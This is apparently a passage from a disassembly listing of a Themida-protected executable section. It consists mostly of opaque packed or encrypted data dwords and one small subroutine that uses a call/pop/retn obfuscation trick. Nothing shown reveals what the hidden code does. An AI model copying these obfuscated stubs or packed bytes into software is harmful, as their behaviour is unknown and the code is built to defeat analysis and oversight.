		dd 43B5F7ACh, 0F2FD6A81h, 4DFE1444h, 0D585BB42h, 968C9442h
		dd 0D6593CFh, 808FB9EBh, 898642D0h, 0F5A4CC74h,	6BB2BDAFh
		dd 7BBD4682h, 492B56C9h, 0DB31F0C0h, 0A165E7ADh, 110FCDFDh
		dd 4Bh,	0ECE363B1h, 6CB47684h, 51C74838h, 16D5A7DBh, 2072AE9Ah
		dd 6BD52827h, 8962DD07h, 6C48555Ah, 0DC4AF8F7h,	3F1FD176h
		dd 2173C985h, 6ED22B24h, 616ED80Ah, 0D14EF92Bh,	5B3C983Fh
		dd 9B629002h, 361AFh, 0A6A1F300h, 0B48BC1A9h, 3A48386Ch
		dd 116D050Ah, 0A7C0F17Eh, 23FA76D5h, 9D606FD9h,	0FCCD562Ah
		dd 7F104014h, 0CF968CF0h, 0E091C775h, 0F21C4C18h, 1BA22779h
		dd 363924CFh, 0B7FB69D7h, 0C137C44Bh, 0F00CD5A7h, 1C13D72Dh
		dd 8689BB81h, 2F201D67h, 4E4186DEh, 98BA4DD3h, 3D0C1769h
		dd 44CB87D3h, 0CF968CB7h, 881A708Ch, 0B5E1515Eh, 968C74A2h
		dd 9087F3CFh, 0CF968C62h, 4D2553E1h, 8986409Ch,	0B45947C3h
		dd 0DADCB7D8h, 0E2CE6B0Fh, 0E9F9052h, 0B8F4A4D2h, 17F6F96Ah
		dd 1DDE4129h, 0C2D5A727h, 3EF057B6h, 8FC984E3h,	6E61E133h
		dd 0B353D40Ah, 0E1EFE061h, 5625C6F6h, 9F9D9582h, 9DC0FA7h
		dd 1C36E6E0h, 0F51DB6E5h, 264ABDh, 0B4120000h, 8F64DC6Ch
		dd 0ABD95758h, 0B0E358FFh, 7480D5A7h, 687CAEA9h, 57C9C985h
		dd 0CBEAD2CCh, 0E6A409DCh, 74000000h, 0D28E8143h, 8C41F166h
		dd 0AAC6CF96h, 15CD17C6h, 8FB9831Ah, 0F3017D80h, 0ED377B74h
		dd 0D00C7C73h, 968C8FBFh, 101894CFh, 918049EEh,	0A34CF96h
		dd 6BD54F05h, 6CB49964h, 0A01C4838h, 96887FAFh,	9240D7CFh
		dd 91CF9688h, 0A0C86463h, 0A79294FFh, 256B99D5h, 38E669A5h
		dd 0CFC9857Eh, 7F2EDC73h, 8735C985h, 0EC346109h, 209CC8B8h
		dd 857EFF2Fh, 80E804C9h, 9930FB9Fh, 64D460CFh, 37D6D90Eh
		dd 8FE56109h, 0A4FE545Bh, 8666B3BCh, 72894DF2h,	1D8BDA9h
		dd 1DCB0000h, 7DEA3C12h, 5B8A1C72h, 0BDA4FE54h,	9E4ADCB2h
		dd 0C368BB91h, 73D9D612h, 543A3531h, 381E11D2h,	1D737CEEh
		dd 42F0679Bh, 0C1C97F53h, 87435054h, 0E660C288h, 0CA4DB9E9h
		dd 0CF968D1Ch, 0E098BB2Ah, 77140957h, 0F34FB1F9h, 0C0A8A7A1h
		dd 386CB48Ah, 45861C48h, 0A01264Ah, 6FD5A7B1h, 256761D1h
		dd 0A110360Ch, 53F6A7CBh, 0C984BB9Fh, 0C30290EEh, 0F172A4CCh
		dd 0DC3ED7EFh, 0B79B09h, 0D52F0000h, 0F9136768h, 7F8E8143h
		dd 0EB323D25h, 9691A56Ch, 626DDFCFh, 6E32DC2Ch,	632CCDE3h
		dd 0EF598BEFh, 0E8301DE0h, 69E7E858h, 522D1639h, 8632D5A7h
		dd 1347A1D0h, 0AFF4B927h, 0B537B7h, 0B35C8C7h, 0E669959Dh
		dd 0CF991565h, 0E1EE5BA9h, 634C241Ch, 8C3A3531h, 8D8246DCh
		dd 8F8047DDh, 2D22267Eh, 1395FBBFh, 6DC9D8D7h, 0FD894DC7h
		dd 0E43A20h, 93F0000h, 11D65006h, 7FEE381Eh, 59881A70h
		dd 0A2A60056h, 97BCE7ADh, 0A7EDE266h, 88CEC17Dh, 6C222D1Eh
		dd 5107083Ah, 76A4ABC7h, 8DC97F52h, 29659498h, 968CF826h
		dd 0B9F10FCFh, 9AF0FF6Bh, 7BD1DE08h, 8E814301h,	0DB3D34D2h
		dd 2D5DA27Eh, 0DF8B3936h, 967D8AB8h, 76B99CFh, 5BFC2856h
		dd 0CF967DABh, 3E640CB8h, 0A04EC10Ch, 0A7CF967Dh, 84B59B09h
		dd 5C538C3Ch, 0E3DD722Eh, 84D5ADA9h, 9E894DF8h,	99EBCB80h
		dd 0D528A6A9h, 0E7E85BA9h, 8975193h, 69B7CE64h,	6E2452D4h
		dd 0F8050A34h, 6F19FB61h, 9790E420h, 0B6089751h, 5FD375DEh
		dd 0F91C8218h, 57B826DBh, 0AF3312C0h, 75E3117Eh, 0D51791C7h
		dd 48F9C3DAh, 0E7B9A647h, 0A7A89A5Ch, 0F77791F1h, 0C3AD34BFh
		dd 1EC81A1Eh, 35E8C11h,	0EC000000h, 85430686h, 3F29738Ah
		dd 5497ED30h, 0CA7A425Bh
		dd 64DC38C5h, 9E4A926Bh, 31300C91h, 0A895EF3Eh,	0C97E46A7h
		dd 833727C6h, 248904ECh, 4BA5224h, 1000000h, 5A042454h
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 75682434h
		dd 89000053h, 0CD68241Ch, 8B06172Ch, 0C4812434h, 4, 16B968h
		dd 24248900h, 4240483h,	0F289525Bh, 8438F52h, 241C8B5Ah
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 815E2434h
		dd 4C4h, 4201E900h, 3A74FFFAh, 1D92E5B8h, 173B85B8h, 0FFC50306h
		dd 815647E0h, 382F8118h, 0F9DDC124h, 0C98D8D1Eh, 6A06173Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 1A41C357h, 48A0Fh, 60510000h, 8D895A61h
		dd 611285Dh, 0A4D8D89h,	85C70611h, 6112DD1h, 5F88h, 141DB52Bh
		dd 85C70611h, 6112709h,	0
; ---------------------------------------------------------------------------
		adc	bh, 5Bh
		push	dword ptr [ebp+61103A1h]
		push	0
		push	eax
		call	sub_5AD844
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD844	proc near		; CODE XREF: Themida_:005AD83Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5AD844	endp

; ---------------------------------------------------------------------------
		dd 88E994ECh, 0A69C1839h, 95FFF1CEh, 6111DA9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 67C35545h, 8D89DB0Ah
		dd 6111F21h, 95FF006Ah,	61105C5h, 48EBC08Bh, 0AD9215E8h
		dd 9BB6B9CFh, 33A11D8Ch, 3B765EA8h, 0D27832EBh,	0ACC74F99h
		dd 411E529Dh, 32A1BAD1h, 33FCC626h, 91DFAB15h, 0A071FDA7h
		dd 0B857CF8Bh, 7F480798h, 1451B5CBh, 2183D7E2h,	57875F4Fh
		dd 35593300h, 0E0E1B1C5h, 0AE8h, 2B065500h, 843DEDE0h
		dd 597EDF52h, 1D49B58Bh, 0C1810611h, 5F81h, 1D49BD8Bh
		dd 680611h, 0BF000000h,	233AF93Dh, 0BE85Bh, 0A1B80000h
		dd 3D11D7C0h, 6E8A53C0h, 99BE66EAh, 34FF5E2Ch, 69B58B0Bh
		dd 58061114h, 0B2D78156h, 5A50FF36h, 0E93FC081h, 0B70F08A6h
		dd 3C081D0h, 0E9195795h, 6, 0EB80DE3h, 0C0819CC5h, 7F97BAD8h
		dd 0E319589h, 4890611h,	10E819h, 8CF60000h, 0C6F8546Eh
		dd 1C8D1CEEh, 0BEAC92DAh, 0B5898435h, 61129F1h,	2BCBF5Fh
		dd 0EB814BDCh, 31142F72h, 34919589h, 0C3810611h, 31142F6Eh
		dd 0A138FB81h, 850FFFFFh, 0FFFFFF86h, 71B529h, 1BE90611h
		dd 95000000h, 748DBDh, 5 dup(0)
		dd 0FEE90000h, 0BE000004h, 57D18788h, 6FB99F90h, 99BF1FEh
		dd 2781D7D8h, 3D662C23h, 7679E918h, 49468620h, 0A9A6A103h
		dd 888741E3h, 173870C2h, 0C97F4FE7h, 43E5277Ch,	257F8E81h
		dd 0CA5C323Dh, 8FBFD518h, 8CDB0B80h, 1E68CF96h,	968CC979h
		dd 0B4225ECFh, 0A39DE706h, 0DC0B51ACh, 899FCAD3h, 818EB87Eh
		dd 23EE59CBh, 968CFE2Ch, 79F705CFh, 4649FB09h, 46C9B9A7h
		dd 0CF968C98h, 0F71911AFh, 60BDB2ADh, 0B1899432h, 0BFFB8C22h
		dd 0B2BDA9FBh, 9192F66Bh, 0CE7F9457h, 96043CC1h, 323240C0h
		dd 3870E03Dh, 967778EAh, 95AF80B3h, 9FA8FECFh, 126C517Fh
		dd 7342F88Fh, 0DB093D3Fh, 5E490FCDh, 17000000h,	7F8E8143h
		dd 7A75F103h, 0E6E959A3h, 0ED1F0068h, 7CF968Ch,	0E834C9C6h
		dd 75A9747Bh, 968D34E2h, 2C8533CFh, 0B1C9EB7Ch,	0C2FAE47Fh
		dd 8C0FCDEFh, 1, 8B84435Ch, 0D63D2A72h,	0B8841916h, 0E412808Fh
		dd 906C319h, 0F01BCB59h, 0A4CC7A75h, 0B54EC2F5h, 95FBF473h
		dd 78DED113h, 88874306h, 4BFB0975h, 71F62C44h, 82C6AF7Eh
		dd 8C834781h, 39287AC6h, 169D736h, 0ABAC61E3h, 0CF968C7Bh
		dd 92CE7C88h, 7377A874h, 0F6BA95D1h, 6F60DD27h,	8E81469Eh
		dd 313E257Fh, 0F4FFE4ECh, 1B0EE03Ch, 0A38182D6h, 332490EEh
		dd 0CF964E03h, 2A136400h, 2CB8AFD8h, 0A3A4FABEh, 3B343143h
		dd 3D247EE2h, 3D75EB32h, 0CD34173Fh, 7F7B0Fh, 65010000h
		dd 636CDB29h, 131A69Ah,	6CF968Dh, 0E45C86EAh, 1BCA12EBh
		dd 0B4B38914h, 2B1A62BBh, 4783D924h, 6CF72948h,	40C3594Eh
		dd 74D4286h, 1AC84FBBh,	29CF968Dh, 954D979Bh, 839039Ah
		dd 2B4D4B07h, 1594709Ch, 9DFAB3C7h, 0CEE6F80Bh,	800FCD1Ah
		dd 4Eh,	2F7B6528h, 7D31FCEEh, 0BB424DFEh, 0C1631785h, 0C0520E01h
		dd 0B36A0E01h, 2CF1FE69h, 2221730Fh, 1013452Dh,	371D12D6h
		dd 8B8443C5h, 8D24D772h, 0C42CF96h, 0EF21E5FBh,	7C9A0FCDh
		dd 5F869065h, 2354DC13h, 6, 0BEB1ADC7h,	824380FAh, 8B33DD8Dh
		dd 6D9DB201h, 0FACF959Ah, 7DA9404Eh, 55F0E62h, 3F3030DBh
		dd 86951511h, 0E11F842Ch, 0EBE463B1h, 1769D687h, 141BCA0Ch
		dd 0E1B5133Eh, 72D59EB1h, 0BBC9D5A7h, 0C2ED858Ah, 0B9A8FAB6h
		dd 81E957B6h, 0D97EAAE8h, 0C9855F29h, 74F0823Eh, 0FABEA27Bh
		dd 0E955BEA8h, 0ABD907E6h, 8E8143E5h, 40D7037Fh, 0C9855E92h
		dd 4F408791h, 761482BEh, 762DADCEh, 0AA8DE59Fh,	0C9857B7Ah
		dd 19C95B27h, 3BCC6216h, 64C43FDh, 743DA29Ch, 22603771h
		dd 84D02D5Bh, 0BEB1B15Ah, 0D434FD00h, 0A4AB9553h, 6797B8F4h
		dd 0FCC98549h, 84C62840h, 9DCAC80h, 117CEh, 0C8769000h
		dd 6BC22328h, 0B4DB3179h, 1C48386Ch, 33E374A0h,	30CF968Dh
		dd 8CDF0F84h, 2C64CF96h, 7BE53837h, 0E982A5CDh,	4ED5A7ABh
		dd 6DAF5FF0h, 38B4C985h, 3F29738Ah, 1EC85A30h, 0B6B08C11h
		dd 5D8B64B9h, 0DDD20CCAh, 0F0D1F577h, 5A8109DCh, 2F000000h
		dd 433F6BB4h, 968CFECCh, 0C47C964Fh, 0FC08A7CBh, 0A7A7FD21h
		dd 87EB55A8h, 968D72A0h, 975A844Fh, 968D5280h, 35A3D14Fh
		dd 5E518CE8h, 0D258014Fh, 2C16BF43h, 2A081B4Dh,	3F0E194Fh
		dd 41D682D6h, 0CF970471h, 3494FA76h, 680453AAh,	6C067595h
		dd 9CB0F8F7h, 6Ch, 386CB4AEh, 977CC748h, 8012D5A7h, 8EB24B44h
		dd 6EBFCDEAh, 75DBD416h, 0EF3E3133h, 8583B568h,	0BF4818C9h
		dd 8AC0CF79h, 0E55501EFh, 9CC09D72h, 9F6E9ACFh,	9949B45h
		dd 24709ED4h, 54829587h, 0D3CF8FA5h, 0E98AA7A5h, 9CA7F9B1h
		dd 5B1743ADh, 0A6F0DF34h, 0C17D97D5h, 0E8353A2Ah, 3D23FA68h
		dd 71CF6A1Fh, 1D159D56h, 0FE5006B2h, 48386CB4h,	0ADCAF0C7h
		dd 944CA6D5h, 8C38979Bh, 36392B71h, 0B04C660h, 4E7057F2h
		dd 176D3C1Ah, 1718CA0Ch, 1619C95Bh, 0B8AAFC62h,	0BDA9FBB7h
		dd 0BDF56BB2h, 5E5190ECh, 758E924Fh, 0C7C87F95h, 0F8F771B3h
		dd 0D6BA0E88h, 3E460D21h, 5092147Ah, 11984E5Fh,	0AC000000h
		dd 4999656h, 4CC0DF4Ch,	0F260E8ABh, 6864CBEh, 738A8543h
		dd 0ED303F29h, 425B5497h, 38C5CA7Ah, 926B64DCh,	0C919E4Ah
		dd 0EF3E3130h, 46A7A895h, 27C6C97Eh, 0E1895137h, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 68241C89h,	2A8Bh, 68241489h
		dd 6EA4h, 0BA242C89h, 11E17C29h, 81FFEA83h, 35C1D3C2h
		dd 2C8B54F4h, 4C48124h,	83000000h, 48904ECh, 89D08924h
		dd 0FF580845h, 835D2434h, 148B04C4h, 0E0895024h, 405h
		dd 40500h, 4870000h, 0CE95C24h,	44FFFA3Bh, 8220D48Ch, 9CF96A10h
		dd 4287B8B1h, 0C5030617h, 52C7E0FFh, 0D5FB3066h, 6A2071B4h
		dd 0FA634D43h, 2EAC2027h, 0A4196952h, 43A70A08h, 3BF547ADh
		dd 5FD3CC8h, 97871832h,	0EB8577D9h, 0CA621EBAh,	504F43E9h
		dd 509668DFh, 0E3544EEh, 0D46C2EBBh, 3DC002A8h,	91E82F8Bh
		dd 4CBD5229h, 732331F8h, 60A25195h, 7E905F2h, 5F000000h
		dd 36FA2h, 84E90000h, 2A000004h, 0CB5D333Ch, 0EB3D131Ch
		dd 851F757Ah, 0ABFD535Ch, 49DAB0BFh, 0C2CD75A4h, 252A1A8Ch
		dd 50A356Fh, 646BD54Fh,	8394E42Eh, 0C97F4953h, 434143D0h
		dd 34D28E81h, 2915B20Ah, 0AAAA3826h, 1200D951h,	983653F4h
		dd 79313C4Ah, 5A303F2Bh, 8C111EC8h, 0C9B9B6B0h,	0EF838CBBh
		dd 8394C03Eh, 0CF961F53h, 0BEAABDD1h, 0B3504A9Bh, 30376D05h
		dd 0A5FBEE3Fh, 0B34442A2h, 3C84B8FCh, 0B7B1F387h, 9750D2B8h
		dd 0F770B298h, 6FDF25F8h, 106E99F0h, 95ADCF7Fh,	3AD854CFh
		dd 146EBAADh, 0C5B5232Ch, 6AB3BCAFh, 76EB82F6h,	14D71112h
		dd 6BD52F1Bh, 0B9A79964h, 0CFA4EF07h, 0D2347C02h, 0C67D9650h
		dd 87425BC9h, 0CF95D854h, 5FAEA19Ch, 0CCD1DE05h, 28EE792Fh
		dd 6AD63738h, 0D152A4FCh, 0CD5BF7CFh, 0E662B00Fh, 304E81E9h
		dd 1E000000h, 7F8E8143h, 968D28D8h, 0F17244CFh,	0CDEFD7EFh
		dd 19B0Fh, 43210000h, 2A728B84h, 91EB323Dh, 1B4E5F50h
		dd 1FC40205h, 7EE83A10h, 43A11B71h, 2F758887h, 1DD63738h
		dd 4AFE38CBh, 0AB950F45h, 0C94E8340h, 0CF968D19h, 0F664922Eh
		dd 0DD10CD17h, 968C8CBAh, 7679EECFh, 1EAAA997h,	8CFD2D22h
		dd 0FE0ACF96h, 0C858BD40h, 0ED0D213Fh, 5C450FCDh, 0EB000000h
		dd 75888743h, 0EC313E2Fh, 5A9CA7FDh, 79ABE1EEh,	0DD27C6C9h
		dd 0B3588F64h, 910FBDB2h, 8E990F0Ch, 0CDEDBC90h, 58120Fh
		dd 43BA0000h, 4AD88887h, 0CA769798h, 0B2ADF7A6h, 95CB60BDh
		dd 21EC5492h, 968D002Eh, 242B07CFh, 0CF968CF6h,	0D341FF0Dh
		dd 0E5F97967h, 652CA632h, 4391EB0Dh, 0D7728B84h, 0CF968D24h
		dd 0E5FB0C42h, 0FCDEF21h, 1191h, 49973100h, 0BA78622Fh
		dd 4C591533h, 8A89352h,	2965EA60h, 968CF826h, 81F10FCFh
		dd 968C608Eh, 2149E7CFh, 1D4D4283h, 0ED850EF3h,	0BDF57FC6h
		dd 0BD5690ECh, 821B8986h, 0D838CB5Dh, 7697984Ah, 0C17CA6CAh
		dd 0FE988CEh, 1F68EF5Bh, 24D5A738h, 3D2F7588h, 18CA5C32h
		dd 0A153F617h, 0CC98521h, 0D30DCB5Ch, 322C76DCh, 0AA94E03Dh
		dd 0B9EF58A5h, 0F1FE68AEh, 84EDD19Bh, 54AE09DCh, 5390E2EDh
		dd 9B9F415Ch, 13164h, 6CB43400h, 0ACC74838h, 0B1D5A7ACh
		dd 0A0A2FA03h, 8DBFE9AFh, 27217B82h, 3E2A7828h,	3C74EC31h
		dd 146E846Dh, 184E222Dh, 101FC90Fh, 0F00C303Ah,	554209DCh
		dd 0E4000000h
		dd 0D8505F8Eh, 0AF6BB4A2h, 0F4D682D5h, 979F76Dh, 95FEB806h
		dd 0AC718F4Fh, 0E5153A76h, 624F971Bh, 4DFDA2D6h, 0B84F971Bh
		dd 0E53FDF68h, 0AA967778h, 3A8A6BC6h, 44FC010Eh, 6B7C9AD6h
		dd 151AC4FAh, 69BD3277h, 8452C501h, 43CF969Fh, 0A72B5F35h
		dd 71000000h, 48386CB4h, 7FAFA01Ch, 84CF968Ch, 541F0068h
		dd 4AD5A797h, 82C9791Eh, 225EC985h, 0CAD3614Eh,	2DEF70F2h
		dd 69653E2Dh, 0AE281896h, 1DC4242Bh, 982A7412h,	0CFC00711h
		dd 61E345ABh, 1C6598Ah,	4E2C6A03h, 7A8331AFh, 849F2ADFh
		dd 858ABAC9h, 2C231C78h, 19E4EB5Ah, 6B49DAAEh, 579192C6h
		dd 85B49A95h, 1C336F3Bh, 0CF9BE147h, 52A0902Ch,	0C2CD7992h
		dd 0E3974954h, 7F70F2CAh, 7F70F103h, 2D1A623Bh,	4581DB22h
		dd 2A7EB34Ah, 0FA8E3B19h, 24705869h, 248CE374h,	1969D5A7h
		dd 849DC876h, 0B3215FC9h, 6CB463DDh, 0FE6C63DCh, 0CFB68D82h
		dd 5B3D5ADh, 49A29CF8h,	0D60A939Ch, 0B6B0F258h,	0E43E64B9h
		dd 193E727Dh, 0CEF8341Ah, 0F8050A3Ah, 50ADA29Ch, 225D970h
		dd 7BFE0A8Dh, 1B002225h, 0E4E20205h, 86A40377h,	0E8E761E7h
		dd 0F5BD2B15h, 0DCB2BDAFh, 0DAD5166Ch, 0DDD20C56h, 424DF4C0h
		dd 61E286BBh, 0E4AAA5A7h, 7E8F8042h, 3C8h, 6869200h, 738A8543h
		dd 0ED303F29h, 425B5497h, 38C5CA7Ah, 926B64DCh,	0C919E4Ah
		dd 0EF3E3130h, 46A7A895h, 27C6C97Eh, 0E3895337h, 4C381h
		dd 0EB810000h, 4, 5C241C87h, 68242C89h,	371h, 51242C89h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 4895C24h, 43696824h
		dd 2C8B0617h, 4C48324h,	24048B54h, 5304C483h, 8BBh, 50C30100h
		dd 389E889h, 34FF5B58h,	0C4835824h, 2434FF04h, 4C4835Dh
		dd 0FA3612E9h, 0B88467FFh, 6174783h, 0E0FFC503h, 1D4583D0h
		dd 42EB8920h, 539DF76Eh, 448E63A0h, 132B776Eh, 7546E320h
		dd 3E5DC55Ch, 318D8A47h, 43C84BE5h, 15B34F87h, 4FFD137Dh
		dd 5A7CCF5Fh, 7ED53A5h,	76E1CFC7h, 18C2C02h, 5A29D02Fh
		dd 0EF40462h, 677FBEA1h, 4401F68Ah, 1E9C9304h, 44704287h
		dd 67190C62h, 7641D6C9h, 735D7D89h, 7A5D7A4Eh, 33BE4023h
		dd 782FA765h, 1C8CB2FAh, 504D9275h, 17EE9h, 0A232200h
		dd 0D52C272Ah, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh
		dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h
		dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh,	0BA9755FCh
		dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h
		dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh
		dd 43h dup(0)
		dd 84970000h, 0F033A26Dh, 0E900EE69h, 0FB4h, 174BD268h
		dd 0FDBAE906h, 0D368FFFAh, 0E906174Ch, 0FFFAFDB0h, 174E5368h
		dd 0FDA6E906h, 1568FFFAh, 0E906174Fh, 0FFFAFD9Ch, 17506D68h
		dd 0FD92E906h, 4568FFFAh, 0E9061751h, 0FFFAFD88h, 1751E668h
		dd 0FD7EE906h, 6368FFFAh, 0E9061752h, 0FFFAFD74h, 17536468h
		dd 0FD6AE906h, 0E368FFFAh, 0E9061753h, 0FFFAFD60h, 1754A168h
		dd 0FD56E906h, 3B68FFFAh, 0E9061755h, 0FFFAFD4Ch, 1755D668h
		dd 0FD42E906h, 1F68FFFAh, 0E9061757h, 0FFFAFD38h, 17581C68h
		dd 0FD2EE906h, 0B735FFFAh, 8001A5ADh, 4C48ECE2h, 1594381Eh
		dd 0E6E1054Dh, 0E13D5284h, 6481A95h, 5086E4E2h,	9FB3AF2Ch
		dd 0E1E9777Bh, 0C2FBD9B0h, 9388EC2Bh, 8A4E50EAh, 4C89A1EDh
		dd 40A4264Eh, 0A183DA5Ah, 0F8F85C12h, 9E22066Ah, 5CEEA2F9h
		dd 36C575FAh, 3538D020h, 88C41B6Eh, 8EFB67F5h, 0BAFE6464h
		dd 4849EDADh, 3AC9561Ah, 819E5A74h, 70EF950Ch, 7570D62Dh
		dd 0A4A0BFF5h, 77158199h, 0E52B8FD8h, 15813A37h, 22E3BB77h
		dd 6162A6B3h, 33941Fh, 7BDF0000h, 9887ED7Bh, 0F9914ED6h
		dd 4A33A8CDh, 7F0A8F57h, 0BCA22628h, 5F17A5FAh,	74950C3Ah
		dd 0A2795DBh, 8B7714FAh, 0B68312F3h, 0A41F6221h, 0EFh
		dd 1C3DBD20h, 75F2C69Ch, 3286DCDDh, 6ED2A635h, 95BDF36Fh
		dd 0D4784F15h, 91606E8Eh, 286E40A1h, 12504FF3h,	45E9C15Eh
		dd 1D3B1F45h, 8EFB30BEh, 0B199C7CBh, 0A5858FEh,	590080A4h
		dd 3D730E5Ch, 0C99CA139h, 25D94EF2h, 9DC7DB9Dh,	0C2B44321h
		dd 0C2A70D4h, 4096C195h, 0CFAC9830h, 342EAD8Fh,	4D6DE340h
		dd 267D08E6h, 0E00BF6AAh, 4E53E76Ch, 30CF5C10h,	78EAE56Dh
		dd 0B7B33256h, 50C234B3h, 712F09E6h, 0D39h, 0E3F76D6Fh
		dd 32243ABFh, 7E500E8Eh, 478BD7DAh, 90C6A423h, 0DCDBA37Fh
		dd 0AA24488Eh, 717296B8h, 39B9DDF5h, 9B8E272Bh,	0EC2A003Dh
		dd 8E285188h, 5D2042BDh, 61B34A06h, 0BDE28EFBh,	0FB616E1Fh
		dd 8D18378Eh, 5D5D8125h, 1E9EA007h, 94098C40h, 2C2F59E9h
		dd 0B31664Ah, 0B92C204Eh, 0AECC8054h, 0A3A950F9h, 911E0668h
		dd 5A91F4F9h, 61B44907h, 0A8258EFBh, 2969F6BAh,	0E65E783Eh
		dd 3F950C85h, 536E4C20h, 0CA7715BDh, 466755C9h,	1F7715BDh
		dd 5BFFB540h, 0E3A30957h, 0C5750283h, 0E875E4A5h, 0D21F6162h
		dd 0A1h, 273DBD52h, 7CEEE951h, 653D9A38h, 44448EFBh, 1494381Eh
		dd 72EA6A4Eh, 79C1146Bh, 2987EB79h, 6AF3854Dh, 0A3F6CD9Ah
		dd 15BC6815h, 581E4977h, 5964FC74h, 0CDA3B602h,	65F26CE1h
		dd 3205CB1Eh, 0A595C497h, 0B7361A5Ch, 8403A7ABh, 136DE0E6h
		dd 0CA2CE651h, 0C381Ch,	0F66C6E00h, 273BBCE0h, 510F8F33h
		dd 8CD6D579h, 0BBA7264Ah, 0DEA66097h, 2B4F83DFh, 779BBFADh
		dd 42E6E876h, 872E203Eh, 2D093480h, 0D16888ECh,	0C884E89h
		dd 0B934185Eh, 7D7DA1A9h, 0F4D80E7h, 8EFB617Eh,	62462827h
		dd 688A4E02h, 0DE8404B3h, 4AC78D9Ah, 8DB1F992h,	0CE70570Dh
		dd 99DF93CFh, 1F3331B1h, 6B3E3FD7h, 0CC2ED6Dh, 8FE57295h
		dd 14C21021h, 8899177h,	6229BC89h, 79BE1Fh, 91260000h
		dd 2391F4F9h, 950C7F7Fh, 2F8DE37Ch, 77158312h, 0A50A8B93h
		dd 711A899Fh, 145AEB97h, 617E60EDh, 515A1Fh, 91CA0000h
		dd 0AB91F4F9h, 95B81FBAh, 0CD625476h, 0C83A78Fh, 1C63FC95h
		dd 0C7ABB73Ah, 0E5E46A81h, 9013377Dh, 329147D2h, 0F3933C38h
		dd 0BF4A644Ah, 3E77154Ah, 381EAF6Eh, 0BBCAACBEh, 1F60B1AEh
		dd 1EACh, 7473D700h, 46EB923Eh,	9DCA7715h, 4EB8A80Eh, 61A05D7Bh
		dd 66F18EFBh, 82A5610h,	91BE0000h, 2391F4F9h, 9512AB3Ah
		dd 0CA98173Bh, 0E2E6683Fh, 0A721297Ch, 56C9EDC5h, 0EACD1CF2h
		dd 79754B7Bh, 4B095CEBh, 7713BAB2h, 1E0274E3h, 64F0C49Ah
		dd 3E9AE1ECh, 6CFA72B0h, 0FC3396C1h, 0A309555Ah, 4A4EF2C4h
		dd 0F3CDF0DCh, 5C5C7D2Ah, 30CF9806h, 68F6FA1Eh,	95983004h
		dd 0D155FBCEh, 67AA58Ch, 0CB537D35h, 2866DD3Ch,	0E0D00B3Fh
		dd 0BBFDE035h, 0AB8EDh,	76ECEE00h, 0A7BB3C60h, 0D18F0FB3h
		dd 0C5655F9h, 3B27A6CAh, 5E26E017h, 0ABCF035Fh,	0F71B3F2Dh
		dd 0C26668F6h, 7AEA0BEh, 2F89B400h, 51E888ECh, 623A3709h
		dd 178F8EFBh, 0F78DB316h, 0BBC6FB83h, 0D6E2357Dh, 6AEDC607h
		dd 89C9015Eh, 62B90C11h, 2F85DDDCh, 46691430h, 4807713h
		dd 75151266h, 754394DAh, 6CFA8D60h, 3F0366F1h, 78DEA5BBh
		dd 2185ED7Dh, 1167FDFDh, 3D808D05h, 0C277599Fh,	5A213E66h
		dd 0F7B44907h, 72ED6342h, 2C82E0DCh, 0D5357FBh,	4321A1C5h
		dd 8DD9DA7Ch, 58810127h, 1B8B606Dh, 36E42A8Ch, 0E3425E39h
		dd 0B209148Ch, 0B541F606h, 0AE90CFF8h, 5A1D7D37h, 0F6BA684Eh
		dd 0A8000009h, 0F216382Ah, 355971EDh, 3A7ABB9h,	48ECE280h
		dd 82351D4Dh, 0E1817C48h, 194B45E9h, 52108D31h,	8AD8D87Ch
		dd 5E7A2D44h, 88EC2EAFh, 4EEF77F6h, 894DED8Ah, 0E8CECFFBh
		dd 96EDF068h, 1275D33Ah, 6E352295h, 936EF7EAh, 4E0AC30Bh
		dd 771292BFh, 94DA69E6h, 11390C43h, 0F588D496h,	0AC771292h
		dd 195F0B88h, 173B7F0Ah, 50F6CD93h, 0C2A11753h,	24A4C8ECh
		dd 62FA7A3Eh, 0B31045Bh, 296183A1h, 2C8AEC7Bh, 6CFB853Dh
		dd 0B6B43317h, 35F5EC2h, 4F23BEADh, 0D68C0F23h,	93F685E2h
		dd 73C7F85Ch, 95F6C6BFh, 0EB7979DDh, 213F43E7h,	0B449075Ah
		dd 0ED7D2A60h, 7AFA3C72h, 98A513E2h, 117D2A60h,	9DCAD496h
		dd 8F1DBB0Eh, 0D066C3A8h, 9A1E2087h, 6A6E92C4h,	0E76B80F4h
		dd 983678E6h, 6342D9E9h, 203EBF83h, 874EC64Eh, 42D934C9h
		dd 67F26D63h, 111DB400h, 0E37C78ABh, 2836BA9Ch,	72F0ED55h
		dd 7474983Ch, 30B3DAD5h, 0A408A732h, 6E3538D0h,	0ACB2371Bh
		dd 182593C8h, 59695911h, 913F730Eh, 72B0DAC4h, 6AF8F99Dh
		dd 424688DFh, 50F2581Ch, 346E1E0Ah, 96D89E2Dh, 0A007069Eh
		dd 87B28C14h, 1EBAED74h, 5581D36Fh, 548A1936h, 0CDF00E37h
		dd 9EAE7CBAh, 0D0000008h, 1ABE90D2h, 5D81C995h,	0ABCF0361h
		dd 0F0143A28h, 2A5D75F5h, 3929A4F0h, 71F3ED11h,	0AAB83559h
		dd 0E28000A4h, 0F6C245ECh, 88EC31F7h, 0BD479FAEh, 0E951273Dh
		dd 274340E9h, 63432488h, 0B5351DA2h, 6367CBAFh,	0DF6CD5FDh
		dd 1C257286h, 0D04E3638h, 5C12BB43h, 0CCAh, 884E3A00h
		dd 57115909h, 499h, 908A4EBFh, 48076E93h, 13A89CD2h, 0D5DAEC64h
